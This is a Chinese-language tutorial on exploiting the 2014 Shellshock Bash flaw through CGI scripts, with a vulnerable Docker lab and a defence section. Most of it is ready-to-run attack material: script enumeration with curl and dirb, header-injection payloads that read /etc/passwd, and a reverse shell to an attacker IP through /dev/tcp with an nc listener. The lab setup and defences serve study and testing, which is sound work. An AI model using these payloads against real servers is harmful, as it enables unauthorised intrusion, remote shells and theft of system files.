Shellshock(破壳漏洞)是2014年曝光的高危代码执行漏洞,核心影响GNU Bash环境变量解析逻辑,其中最典型的利用场景是Web服务器的/cgi-bin/目录下的Shell脚本。本文将详细拆解漏洞成因、针对/cgi-bin/目录的利用技巧,并提供从环境搭建到漏洞检测、命令注入的完整复现步骤,帮助全面掌握该漏洞的核心原理与实操方法。
一、Shellshock漏洞基础信息
1.1 漏洞核心概况
-
漏洞编号:核心漏洞(CVE-2014-6271),后续补充/绕过漏洞(CVE-2014-7169、CVE-2014-7186等)
-
影响版本:GNU Bash 1.14 ~ 4.3 之间的所有版本(该区间内默认存在解析缺陷)
-
漏洞类型:环境变量解析命令注入(高危代码执行漏洞,CVSS评分9.8)
-
核心影响场景:依赖Bash解析环境变量的服务,其中最易利用、最常见的是Web服务器(如Apache)的/cgi-bin/目录下的Shell脚本(.sh、.cgi后缀),而.py、.php、.pl、.rb等脚本因不依赖Bash解析环境变量,一般不存在该漏洞。
1.2 漏洞成因(核心解析)
Shellshock的本质是GNU Bash对环境变量的解析存在逻辑边界缺陷,简单来说,就是Bash在解析包含函数定义的环境变量时,会错误执行函数定义之后附加的任意系统命令,具体拆解为两个关键逻辑:
-
正常逻辑:Bash允许在环境变量中定义Shell函数,格式为变量名='() { 函数体; }'。当Bash启动时,会自动解析这类环境变量,将其注册为可执行的Shell函数,仅执行函数体内部的逻辑,不会解析函数体之外的内容。
-
漏洞逻辑:有漏洞的Bash版本(1.14~4.3)在解析上述函数格式的环境变量时,没有正确终止函数定义的边界。只要在() { 函数体; }之后添加分号(;)分隔,再附加任意系统命令,Bash会将这些附加命令当作合法系统命令直接执行,而非当作环境变量的普通字符串。
举个本地直观验证示例(需在有漏洞的Bash环境中执行):
- # 1. 定义一个包含函数定义+附加命令的环境变量
- export TEST='() { :; }; echo "Shellshock漏洞存在,附加命令被执行"'
- # 说明:() { :; } 是一个空函数(: 表示空操作,不执行任何逻辑),后面的; echo ... 是附加的命令
- # 2. 启动新的Bash进程,触发环境变量解析
- bash
- # 3. 执行结果:会直接输出"Shellshock漏洞存在,附加命令被执行"
- # 正常情况下应仅注册空函数,不输出任何内容,此处证明附加命令被错误执行
复制代码二、Shellshock漏洞利用
漏洞利用的核心前提:目标Web服务器存在/cgi-bin/目录,且该目录下有可访问的Shell脚本(.sh、.cgi后缀),同时服务器调用该脚本时使用了有漏洞的Bash版本。利用流程分为三步:爆破目标脚本 → 检测漏洞存在 → 执行注入命令(获取信息/权限)。
2.1 第一步:爆破/cgi-bin/目录下的目标脚本
2.1.1 爆破核心逻辑
Web服务器的/cgi-bin/目录是默认的CGI程序存放目录,CGI程序的核心是通过Web服务器调用外部程序(此处为Shell脚本)并返回结果。我们需要通过爆破,找到该目录下存在的、可访问的Shell脚本(优先级:.sh > .cgi),作为后续漏洞检测和利用的目标。
注意:.py、.php、.pl、.rb等后缀的脚本不依赖Bash解析,无需爆破,一般不存在该漏洞。
2.1.2 两种爆破方式(实操可直接复用)
方式1:手动枚举(适合少量测试)
通过curl命令发送HEAD请求(-I参数),判断脚本是否存在(状态码200 OK表示存在且可访问,404 Not Found表示不存在),常用命令示例:
- # 枚举常见的.sh后缀脚本
- curl -I http://target.com/cgi-bin/test.sh
- curl -I http://target.com/cgi-bin/condor.sh # 示例中的目标脚本
- curl -I http://target.com/cgi-bin/index.sh
- curl -I http://target.com/cgi-bin/hello.sh
- # 枚举常见的.cgi后缀脚本
- curl -I http://target.com/cgi-bin/test.cgi
- curl -I http://target.com/cgi-bin/index.cgi
- curl -I http://target.com/cgi-bin/login.cgi
复制代码方式2:工具爆破(适合批量枚举)
dirb是一款常用的Web目录/文件爆破工具,操作简单、效率高,步骤如下:
- # 1. 安装dirb(Debian/Ubuntu系统,其他系统可自行适配)
- apt update && apt install dirb -y
- # 2. 创建自定义爆破字典(或用 kali 自带)
- cat > shellshock_dict.txt << EOF
- test.sh
- condor.sh
- index.sh
- hello.sh
- test.cgi
- index.cgi
- login.cgi
- EOF
- # 3. 执行爆破(指定目标URL和字典文件)
- dirb http://target.com/cgi-bin/ shellshock_dict.txt
复制代码爆破结果解读:显示"200 OK"的条目,即为存在且可访问的Shell脚本
2.2 第二步:检测目标脚本是否存在Shellshock漏洞
2.2.1 核心检测原理
Web服务器在调用/cgi-bin/下的Shell脚本时,会将HTTP请求头(如User-Agent、Referer、Cookie等)转换为以HTTP_开头的环境变量(例如User-Agent请求头会转换为HTTP_USER_AGENT环境变量),并传递给Bash解析。
利用这一特性,我们在HTTP请求头中注入“函数定义+检测命令”,若目标存在漏洞,Bash会解析该环境变量,并执行附加的检测命令,返回检测结果。
2.2.2 实操检测命令
推荐使用curl命令发送请求,以下是核心检测命令,同时补充多种请求头方式(避免部分环境过滤User-Agent):
- curl -A '() { :; }; echo; echo; /bin/bash -c "echo shellshock-test-success"' http://target.com/cgi-bin/condor.sh
- # 命令拆解:
- # -A:设置User-Agent请求头,注入漏洞利用代码
- # () { :; }; :空函数定义,触发Bash的函数解析逻辑
- # echo; echo; :输出两个空行,分隔脚本正常输出和注入命令的输出,方便查看结果
- # /bin/bash -c "echo shellshock-test-success" :注入的检测命令,执行后输出指定字符串,验证漏洞存在
- # 补充:其他请求头检测(避免User-Agent被过滤)
- # 1. 使用Referer请求头
- curl -H 'Referer: () { :; }; echo; echo; /bin/bash -c "echo shellshock-test-success"' http://target.com/cgi-bin/condor.sh
- # 2. 使用Cookie请求头
- curl -H 'Cookie: test=() { :; }; echo; echo; /bin/bash -c "echo shellshock-test-success"' http://target.com/cgi-bin/condor.sh
复制代码2.2.3 检测结果判断
2.3 第三步:漏洞利用(注入命令,获取实际权限/信息)
若检测到漏洞存在,可将检测命令替换为实际的攻击命令,实现信息泄露、权限获取等操作(以下命令均基于curl请求头注入,可直接替换检测命令中的注入部分)。
2.3.1 基础利用:获取目标服务器信息
- # 1. 查看服务器系统信息(内核版本、操作系统类型)
- curl -A '() { :; }; echo; echo; /bin/bash -c "uname -a"' http://target.com/cgi-bin/condor.sh
- # 2. 查看当前执行脚本的用户权限(一般为www-data低权限)
- curl -A '() { :; }; echo; echo; /bin/bash -c "id"' http://target.com/cgi-bin/condor.sh
- # 3. 查看/etc/passwd文件(用户列表,敏感信息)
- curl -A '() { :; }; echo; echo; /bin/bash -c "cat /etc/passwd"' http://target.com/cgi-bin/condor.sh
- # 4. 查看当前目录下的文件(了解目标脚本所在目录的其他文件)
- curl -A '() { :; }; echo; echo; /bin/bash -c "ls -l"' http://target.com/cgi-bin/condor.sh
复制代码2.3.2 进阶利用:反弹Shell(获取交互式权限)
反弹Shell是最实用的利用方式,可获取目标服务器的交互式Shell,进一步执行任意命令(需攻击者拥有公网服务器,用于监听反弹连接)。
- # 步骤1:攻击者公网服务器上监听端口(假设公网IP:192.168.1.100,监听端口:8888)
- nc -lvvp 8888 # 监听8888端口,等待目标反弹连接
- # 步骤2:目标服务器注入反弹Shell命令(替换为公网IP和监听端口)
- curl -A '() { :; }; echo; echo; /bin/bash -c "bash -i >& /dev/tcp/192.168.1.100/8888 0>&1"' http://target.com/cgi-bin/condor.sh
复制代码反弹成功:攻击者公网服务器的nc监听窗口会出现交互式Shell,可直接执行命令(如whoami、pwd等)
三、Shellshock漏洞复现环境
3.1 复现环境准备
-
攻击机:Kali Linux(自带curl、dirb、nc工具,无需额外安装)
-
目标机:Ubuntu 14.04(默认搭载GNU Bash 4.3.11,存在Shellshock漏洞;默认搭载Apache服务器,自带/cgi-bin/目录)
-
网络要求:攻击机与目标机可互通(同一局域网或目标机可访问公网)
3.2 目标机环境搭建
Docker 镜像:
https://github.com/Zenithar/docker-shellshockable
- FROM ubuntu:14.04
- MAINTAINER Thibault NORMAND <me@zenithar.org>
- ENV APACHE_RUN_USER www-data
- ENV APACHE_RUN_GROUP www-data
- ENV APACHE_LOG_DIR /var/log/apache2
- ENV APACHE_LOCK_DIR /var/run/apache2
- ENV APACHE_PID_FILE /var/run/apache2.pid
- ENV APACHE_RUN_DIR /var/run/apache2
- RUN apt-get update && apt-get install -y apache2
- RUN mkdir /var/run/apache2
- ADD cgi-bin/shockme.cgi /usr/lib/cgi-bin/
- RUN chmod +x /usr/lib/cgi-bin/shockme.cgi
- RUN a2enmod cgid
- # Install vulnerable bash
- RUN apt-get install -y build-essential wget
- RUN wget https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz && \
- tar zxvf bash-4.3.tar.gz && \
- cd bash-4.3 && \
- ./configure && \
- make && \
- make install
- EXPOSE 80
- ENTRYPOINT ["/usr/sbin/apache2"]
- CMD ["-D", "FOREGROUND"]
复制代码启动命令:
- #> docker run -d --name shellshock zenithar/shellshockable
- #> docker ps
- #> export WEBSRV=`docker inspect --format "{{.NetworkSettings.IPAddress}}" shellshock`
- #> curl http://$WEBSRV/cgi-bin/shockme.cgi
- #> curl -A "() { test;};echo "Content-type: text/plain"; echo; echo; /bin/cat /usr/lib/cgi-bin/shockme.cgi" http://$WEBSRV/cgi-bin/shockme.cgi
复制代码四、漏洞防御措施
针对Shellshock漏洞,核心防御思路是修复Bash解析缺陷,同时限制/cgi-bin/目录的风险,具体措施如下:
-
升级GNU Bash版本:将Bash升级至4.3.25及以上版本(修复了环境变量解析边界缺陷)。
-
限制/cgi-bin/目录权限:仅允许必要的IP访问/cgi-bin/目录,禁止公网批量访问;删除目录下无用的Shell脚本,仅保留必要的脚本。
-
替换风险脚本:将/cgi-bin/目录下的.sh、.cgi后缀Shell脚本,替换为不依赖Bash的脚本(如Python脚本),从根源上避免漏洞触发。
-
过滤HTTP请求头:配置Web服务器(如Apache),过滤HTTP请求头(User-Agent、Referer、Cookie等)中的特殊字符(如()、{}、;等),阻止漏洞利用代码注入。
五、总结
Shellshock漏洞的核心是Bash环境变量解析的逻辑缺陷,其利用的关键场景是Web服务器的/cgi-bin/目录下的Shell脚本(.sh、.cgi后缀),而.py、.php等脚本无此风险。完整利用流程为“爆破目标脚本→检测漏洞存在→注入命令利用”,复现过程中需注意目标机环境搭建的细节(如脚本可执行权限、Apache服务正常运行),以及攻击机与目标机的网络互通。